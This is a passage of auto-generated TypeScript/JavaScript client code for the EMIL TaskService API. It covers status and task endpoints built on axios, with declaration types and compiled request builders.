| var _this = this; | ||
| return (0, exports.StatusesApiFp)(this.configuration).createStatus(requestParameters.createStatusRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * This will delete status. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the status | ||
| * @param {StatusesApiDeleteStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| StatusesApi.prototype.deleteStatus = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.StatusesApiFp)(this.configuration).deleteStatus(requestParameters.code, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * Get status by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the status | ||
| * @param {StatusesApiGetStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| StatusesApi.prototype.getStatus = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.StatusesApiFp)(this.configuration).getStatus(requestParameters.code, requestParameters.authorization, requestParameters.expand, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * Retrieves a list of statuses. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List statuses | ||
| * @param {StatusesApiListStatusesRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| StatusesApi.prototype.listStatuses = function (requestParameters, options) { | ||
| var _this = this; | ||
| if (requestParameters === void 0) { requestParameters = {}; } | ||
| return (0, exports.StatusesApiFp)(this.configuration).listStatuses(requestParameters.authorization, requestParameters.filter, requestParameters.filters, requestParameters.search, requestParameters.order, requestParameters.expand, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| /** | ||
| * This will partially update a status by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the status | ||
| * @param {StatusesApiPatchStatusRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof StatusesApi | ||
| */ | ||
| StatusesApi.prototype.patchStatus = function (requestParameters, options) { | ||
| var _this = this; | ||
| return (0, exports.StatusesApiFp)(this.configuration).patchStatus(requestParameters.code, requestParameters.patchStatusRequestDto, requestParameters.authorization, options).then(function (request) { return request(_this.axios, _this.basePath); }); | ||
| }; | ||
| return StatusesApi; | ||
| }(base_1.BaseAPI)); | ||
| exports.StatusesApi = StatusesApi; |
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| import { AxiosPromise, AxiosInstance, AxiosRequestConfig } from 'axios'; | ||
| import { Configuration } from '../configuration'; | ||
| import { RequestArgs, BaseAPI } from '../base'; | ||
| import { CreateTaskRequestDto } from '../models'; | ||
| import { CreateTaskResponseClass } from '../models'; | ||
| import { GetTaskResponseClass } from '../models'; | ||
| import { ListTasksResponseClass } from '../models'; | ||
| import { PatchTaskRequestDto } from '../models'; | ||
| import { PatchTaskResponseClass } from '../models'; | ||
| /** | ||
| * TasksApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| export declare const TasksApiAxiosParamCreator: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {CreateTaskRequestDto} createTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createTask: (createTaskRequestDto: CreateTaskRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteTask: (code: string, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the task. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getTask: (code: string, authorization?: string, expand?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listTasks: (authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {string} code | ||
| * @param {PatchTaskRequestDto} patchTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchTask: (code: string, patchTaskRequestDto: PatchTaskRequestDto, authorization?: string, options?: AxiosRequestConfig) => Promise<RequestArgs>; | ||
| }; | ||
| /** | ||
| * TasksApi - functional programming interface | ||
| * @export | ||
| */ | ||
| export declare const TasksApiFp: (configuration?: Configuration) => { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {CreateTaskRequestDto} createTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createTask(createTaskRequestDto: CreateTaskRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<CreateTaskResponseClass>>; | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteTask(code: string, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<void>>; | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the task. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getTask(code: string, authorization?: string, expand?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<GetTaskResponseClass>>; | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listTasks(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<ListTasksResponseClass>>; | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {string} code | ||
| * @param {PatchTaskRequestDto} patchTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchTask(code: string, patchTaskRequestDto: PatchTaskRequestDto, authorization?: string, options?: AxiosRequestConfig): Promise<(axios?: AxiosInstance, basePath?: string) => AxiosPromise<PatchTaskResponseClass>>; | ||
| }; | ||
| /** | ||
| * TasksApi - factory interface | ||
| * @export | ||
| */ | ||
| export declare const TasksApiFactory: (configuration?: Configuration, basePath?: string, axios?: AxiosInstance) => { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {CreateTaskRequestDto} createTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createTask(createTaskRequestDto: CreateTaskRequestDto, authorization?: string, options?: any): AxiosPromise<CreateTaskResponseClass>; | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| deleteTask(code: string, authorization?: string, options?: any): AxiosPromise<void>; | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {string} code | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {string} [expand] Expand to fetch additional information about the task. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| getTask(code: string, authorization?: string, expand?: string, options?: any): AxiosPromise<GetTaskResponseClass>; | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {number} [pageSize] A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @param {string} [pageToken] A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @param {string} [filter] Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {string} [search] Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @param {string} [order] Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @param {string} [expand] Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @param {string} [filters] Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| listTasks(authorization?: string, pageSize?: number, pageToken?: string, filter?: string, search?: string, order?: string, expand?: string, filters?: string, options?: any): AxiosPromise<ListTasksResponseClass>; | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {string} code | ||
| * @param {PatchTaskRequestDto} patchTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| patchTask(code: string, patchTaskRequestDto: PatchTaskRequestDto, authorization?: string, options?: any): AxiosPromise<PatchTaskResponseClass>; | ||
| }; | ||
| /** | ||
| * Request parameters for createTask operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiCreateTaskRequest | ||
| */ | ||
| export interface TasksApiCreateTaskRequest { | ||
| /** | ||
| * | ||
| * @type {CreateTaskRequestDto} | ||
| * @memberof TasksApiCreateTask | ||
| */ | ||
| readonly createTaskRequestDto: CreateTaskRequestDto; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiCreateTask | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for deleteTask operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiDeleteTaskRequest | ||
| */ | ||
| export interface TasksApiDeleteTaskRequest { | ||
| /** | ||
| * Unique identifier for the object. | ||
| * @type {string} | ||
| * @memberof TasksApiDeleteTask | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiDeleteTask | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * Request parameters for getTask operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiGetTaskRequest | ||
| */ | ||
| export interface TasksApiGetTaskRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof TasksApiGetTask | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiGetTask | ||
| */ | ||
| readonly authorization?: string; | ||
| /** | ||
| * Expand to fetch additional information about the task. | ||
| * @type {string} | ||
| * @memberof TasksApiGetTask | ||
| */ | ||
| readonly expand?: string; | ||
| } | ||
| /** | ||
| * Request parameters for listTasks operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiListTasksRequest | ||
| */ | ||
| export interface TasksApiListTasksRequest { | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly authorization?: string; | ||
| /** | ||
| * A limit on the number of objects to be returned. Limit ranges between 1 and 50. Default: 10. | ||
| * @type {number} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly pageSize?: number; | ||
| /** | ||
| * A cursor for use in pagination. pageToken is an ID that defines your place in the list. For instance, if you make a list request and receive 100 objects and pageToken=1, your subsequent call can include pageToken=2 in order to fetch the next page of the list. | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly pageToken?: string; | ||
| /** | ||
| * Filter the response by one or multiple fields. In general, fetching filtered responses will conserve bandwidth and reduce response time.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly filter?: string; | ||
| /** | ||
| * Search the response for matches in any searchable field. Use filter instead where possible for improved performance.<br/> <br/> <i>Searchable fields: subject, description</i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly search?: string; | ||
| /** | ||
| * Order allows you to specify the desired order of entities retrieved from the server by ascending (ASC) or descending (DESC) order.<br/> <br/> <i>Allowed values: id, createdAt, updatedAt, assignee, reporter, dueDate, status, priority</i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly order?: string; | ||
| /** | ||
| * Expand to fetch additional information about the list items. Expanding resources can reduce the number of API calls required to accomplish a task. Use with discretion as some expanded fields can drastically increase payload size.<br/> <br/> <i>Allowed values: categories, status<i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly expand?: string; | ||
| /** | ||
| * Filters the response by one or multiple fields. Advanced filter functionality allows you to perform more complex filtering operations.<br/> <br/> <i>Allowed values: id, code, statusId, priority, assignee, reporter, dueDate, createdAt, updatedAt, status.slug, categories.slug</i> | ||
| * @type {string} | ||
| * @memberof TasksApiListTasks | ||
| */ | ||
| readonly filters?: string; | ||
| } | ||
| /** | ||
| * Request parameters for patchTask operation in TasksApi. | ||
| * @export | ||
| * @interface TasksApiPatchTaskRequest | ||
| */ | ||
| export interface TasksApiPatchTaskRequest { | ||
| /** | ||
| * | ||
| * @type {string} | ||
| * @memberof TasksApiPatchTask | ||
| */ | ||
| readonly code: string; | ||
| /** | ||
| * | ||
| * @type {PatchTaskRequestDto} | ||
| * @memberof TasksApiPatchTask | ||
| */ | ||
| readonly patchTaskRequestDto: PatchTaskRequestDto; | ||
| /** | ||
| * Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @type {string} | ||
| * @memberof TasksApiPatchTask | ||
| */ | ||
| readonly authorization?: string; | ||
| } | ||
| /** | ||
| * TasksApi - object-oriented interface | ||
| * @export | ||
| * @class TasksApi | ||
| * @extends {BaseAPI} | ||
| */ | ||
| export declare class TasksApi extends BaseAPI { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {TasksApiCreateTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| createTask(requestParameters: TasksApiCreateTaskRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<CreateTaskResponseClass, any, {}>>; | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {TasksApiDeleteTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| deleteTask(requestParameters: TasksApiDeleteTaskRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<void, any, {}>>; | ||
| /** | ||
| * This will get a task by code. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary Retrieve the task | ||
| * @param {TasksApiGetTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| getTask(requestParameters: TasksApiGetTaskRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<GetTaskResponseClass, any, {}>>; | ||
| /** | ||
| * Retrieves a list of tasks. **Required Permissions** \"task-management.tasks.view\" | ||
| * @summary List tasks | ||
| * @param {TasksApiListTasksRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| listTasks(requestParameters?: TasksApiListTasksRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<ListTasksResponseClass, any, {}>>; | ||
| /** | ||
| * This will partially update a task by code with the provided fields. **Required Permissions** \"task-management.tasks.update\" | ||
| * @summary Update the task | ||
| * @param {TasksApiPatchTaskRequest} requestParameters Request parameters. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| * @memberof TasksApi | ||
| */ | ||
| patchTask(requestParameters: TasksApiPatchTaskRequest, options?: AxiosRequestConfig): Promise<import("axios").AxiosResponse<PatchTaskResponseClass, any, {}>>; | ||
| } |
| "use strict"; | ||
| /* tslint:disable */ | ||
| /* eslint-disable */ | ||
| /** | ||
| * EMIL TaskService | ||
| * The EMIL Task API description | ||
| * | ||
| * The version of the OpenAPI document: 1.0 | ||
| * Contact: kontakt@emil.de | ||
| * | ||
| * NOTE: This class is auto generated by OpenAPI Generator (https://openapi-generator.tech). | ||
| * https://openapi-generator.tech | ||
| * Do not edit the class manually. | ||
| */ | ||
| var __extends = (this && this.__extends) || (function () { | ||
| var extendStatics = function (d, b) { | ||
| extendStatics = Object.setPrototypeOf || | ||
| ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) || | ||
| function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; }; | ||
| return extendStatics(d, b); | ||
| }; | ||
| return function (d, b) { | ||
| if (typeof b !== "function" && b !== null) | ||
| throw new TypeError("Class extends value " + String(b) + " is not a constructor or null"); | ||
| extendStatics(d, b); | ||
| function __() { this.constructor = d; } | ||
| d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __()); | ||
| }; | ||
| })(); | ||
| var __assign = (this && this.__assign) || function () { | ||
| __assign = Object.assign || function(t) { | ||
| for (var s, i = 1, n = arguments.length; i < n; i++) { | ||
| s = arguments[i]; | ||
| for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p)) | ||
| t[p] = s[p]; | ||
| } | ||
| return t; | ||
| }; | ||
| return __assign.apply(this, arguments); | ||
| }; | ||
| var __awaiter = (this && this.__awaiter) || function (thisArg, _arguments, P, generator) { | ||
| function adopt(value) { return value instanceof P ? value : new P(function (resolve) { resolve(value); }); } | ||
| return new (P || (P = Promise))(function (resolve, reject) { | ||
| function fulfilled(value) { try { step(generator.next(value)); } catch (e) { reject(e); } } | ||
| function rejected(value) { try { step(generator["throw"](value)); } catch (e) { reject(e); } } | ||
| function step(result) { result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); } | ||
| step((generator = generator.apply(thisArg, _arguments || [])).next()); | ||
| }); | ||
| }; | ||
| var __generator = (this && this.__generator) || function (thisArg, body) { | ||
| var _ = { label: 0, sent: function() { if (t[0] & 1) throw t[1]; return t[1]; }, trys: [], ops: [] }, f, y, t, g; | ||
| return g = { next: verb(0), "throw": verb(1), "return": verb(2) }, typeof Symbol === "function" && (g[Symbol.iterator] = function() { return this; }), g; | ||
| function verb(n) { return function (v) { return step([n, v]); }; } | ||
| function step(op) { | ||
| if (f) throw new TypeError("Generator is already executing."); | ||
| while (g && (g = 0, op[0] && (_ = 0)), _) try { | ||
| if (f = 1, y && (t = op[0] & 2 ? y["return"] : op[0] ? y["throw"] || ((t = y["return"]) && t.call(y), 0) : y.next) && !(t = t.call(y, op[1])).done) return t; | ||
| if (y = 0, t) op = [op[0] & 2, t.value]; | ||
| switch (op[0]) { | ||
| case 0: case 1: t = op; break; | ||
| case 4: _.label++; return { value: op[1], done: false }; | ||
| case 5: _.label++; y = op[1]; op = [0]; continue; | ||
| case 7: op = _.ops.pop(); _.trys.pop(); continue; | ||
| default: | ||
| if (!(t = _.trys, t = t.length > 0 && t[t.length - 1]) && (op[0] === 6 || op[0] === 2)) { _ = 0; continue; } | ||
| if (op[0] === 3 && (!t || (op[1] > t[0] && op[1] < t[3]))) { _.label = op[1]; break; } | ||
| if (op[0] === 6 && _.label < t[1]) { _.label = t[1]; t = op; break; } | ||
| if (t && _.label < t[2]) { _.label = t[2]; _.ops.push(op); break; } | ||
| if (t[2]) _.ops.pop(); | ||
| _.trys.pop(); continue; | ||
| } | ||
| op = body.call(thisArg, _); | ||
| } catch (e) { op = [6, e]; y = 0; } finally { f = t = 0; } | ||
| if (op[0] & 5) throw op[1]; return { value: op[0] ? op[1] : void 0, done: true }; | ||
| } | ||
| }; | ||
| var __importDefault = (this && this.__importDefault) || function (mod) { | ||
| return (mod && mod.__esModule) ? mod : { "default": mod }; | ||
| }; | ||
| Object.defineProperty(exports, "__esModule", { value: true }); | ||
| exports.TasksApi = exports.TasksApiFactory = exports.TasksApiFp = exports.TasksApiAxiosParamCreator = void 0; | ||
| var axios_1 = __importDefault(require("axios")); | ||
| // Some imports not used depending on template conditions | ||
| // @ts-ignore | ||
| var common_1 = require("../common"); | ||
| // @ts-ignore | ||
| var base_1 = require("../base"); | ||
| // URLSearchParams not necessarily used | ||
| // @ts-ignore | ||
| var url_1 = require("url"); | ||
| var FormData = require('form-data'); | ||
| /** | ||
| * TasksApi - axios parameter creator | ||
| * @export | ||
| */ | ||
| var TasksApiAxiosParamCreator = function (configuration) { | ||
| var _this = this; | ||
| return { | ||
| /** | ||
| * This will create a task. **Required Permissions** \"task-management.tasks.create\" | ||
| * @summary Create the task | ||
| * @param {CreateTaskRequestDto} createTaskRequestDto | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
| * @throws {RequiredError} | ||
| */ | ||
| createTask: function (createTaskRequestDto, authorization, options) { | ||
| if (options === void 0) { options = {}; } | ||
| return __awaiter(_this, void 0, void 0, function () { | ||
| var localVarPath, localVarUrlObj, baseOptions, baseAccessToken, localVarRequestOptions, localVarHeaderParameter, localVarQueryParameter, headersFromBaseOptions; | ||
| return __generator(this, function (_a) { | ||
| switch (_a.label) { | ||
| case 0: | ||
| // verify required parameter 'createTaskRequestDto' is not null or undefined | ||
| (0, common_1.assertParamExists)('createTask', 'createTaskRequestDto', createTaskRequestDto); | ||
| localVarPath = "/taskservice/v1/tasks"; | ||
| localVarUrlObj = new url_1.URL(localVarPath, common_1.DUMMY_BASE_URL); | ||
| if (configuration) { | ||
| baseOptions = configuration.baseOptions; | ||
| baseAccessToken = configuration.accessToken; | ||
| } | ||
| localVarRequestOptions = __assign(__assign({ method: 'POST' }, baseOptions), options); | ||
| localVarHeaderParameter = {}; | ||
| localVarQueryParameter = {}; | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| return [4 /*yield*/, (0, common_1.setBearerAuthToObject)(localVarHeaderParameter, configuration)]; | ||
| case 1: | ||
| // authentication bearer required | ||
| // http bearer authentication required | ||
| _a.sent(); | ||
| if (authorization !== undefined && authorization !== null || baseAccessToken !== undefined && baseAccessToken !== null) { | ||
| localVarHeaderParameter['Authorization'] = String(authorization ? authorization : baseAccessToken); | ||
| } | ||
| localVarHeaderParameter['Content-Type'] = 'application/json'; | ||
| (0, common_1.setSearchParams)(localVarUrlObj, localVarQueryParameter); | ||
| headersFromBaseOptions = baseOptions && baseOptions.headers ? baseOptions.headers : {}; | ||
| localVarRequestOptions.headers = __assign(__assign(__assign({}, localVarHeaderParameter), headersFromBaseOptions), options.headers); | ||
| localVarRequestOptions.data = (0, common_1.serializeDataIfNeeded)(createTaskRequestDto, localVarRequestOptions, configuration); | ||
| return [2 /*return*/, { | ||
| url: (0, common_1.toPathString)(localVarUrlObj), | ||
| options: localVarRequestOptions, | ||
| }]; | ||
| } | ||
| }); | ||
| }); | ||
| }, | ||
| /** | ||
| * This will delete a task by code. **Required Permissions** \"task-management.tasks.delete\" | ||
| * @summary Delete the task | ||
| * @param {string} code Unique identifier for the object. | ||
| * @param {string} [authorization] Bearer Token: provided by the login endpoint under the name accessToken. | ||
| * @param {*} [options] Override http request option. | ||
